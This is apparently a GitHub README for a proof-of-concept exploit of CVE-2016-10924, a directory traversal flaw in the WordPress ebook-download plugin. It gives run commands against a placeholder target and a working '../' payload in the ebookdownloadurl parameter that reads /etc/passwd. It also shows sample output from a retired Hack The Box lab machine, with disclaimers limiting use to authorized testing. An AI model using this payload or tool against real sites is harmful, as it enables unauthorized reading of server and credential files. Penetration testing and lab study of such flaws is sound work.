alealeluyah/cve-2016-10924-pocProof-of-Concept (PoC) exploit script for the Directory Traversal vulnerability (CVE-2016-10924) found in the WordPress plugin ebook-download (versions < 1.2). This vulnerability allows unauthorized file reads via a crafted GET request.
This repository contains a Proof-of-Concept (PoC) exploit script for the Directory Traversal vulnerability (CVE-2016-10924) found in the WordPress plugin ebook-download (versions < 1.2).
This vulnerability allows unauthorized file reads via a crafted GET request. The exploit leverages a parameter called ebookdownloadurl to traverse directories on the target server.
ebook-download plugin < 1.2 for WordPress/etc/passwd, by manipulating the file path in the ebookdownloadurl parameter.Note: This PoC is for educational and authorized testing purposes only. Misuse of this information can lead to legal consequences.
requests library (install via pip install requests)Clone the repository:
git clone https://github.com/your-user/CVE-2016-10924-POC.git
cd CVE-2016-10924-POC
Install Dependencies:
pip install requests
Run the Exploit:
python3 cve-2016-10924.py "http://TARGET/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="
Specify the file path to read: After launching the script, you will be prompted for a file path. For example:
../../../../../../../../../etc/passwd
You may need to adjust the number of ../ based on the webroot location in the target environment.
Exit:
exit, quit, or press Enter on an empty prompt to exit.I used this exploit on "Backdoor", a retired Hack The Box machine:
$ python3 cve-2016-10924.py "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="
[*] Enter file paths (e.g. ../../../../../etc/passwd). Type 'exit' to quit.
Enter File path: ../../../../../../../../../etc/passwd
[*] Target URL: http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../../../etc/passwd
[+] Status Code: 200
[+] File Content:
root:x:0:0:root:/root:/bin/bash
...
This project is intended solely for educational and legitimate security testing purposes.
Do not use the information or scripts within this repository on any system you do not have explicit permission to test.
Author and contributors are not responsible for any misuse or damage caused by this tool.
This project is licensed under the GNU 2.0 License. Feel free to use and modify it, but please give credit.
References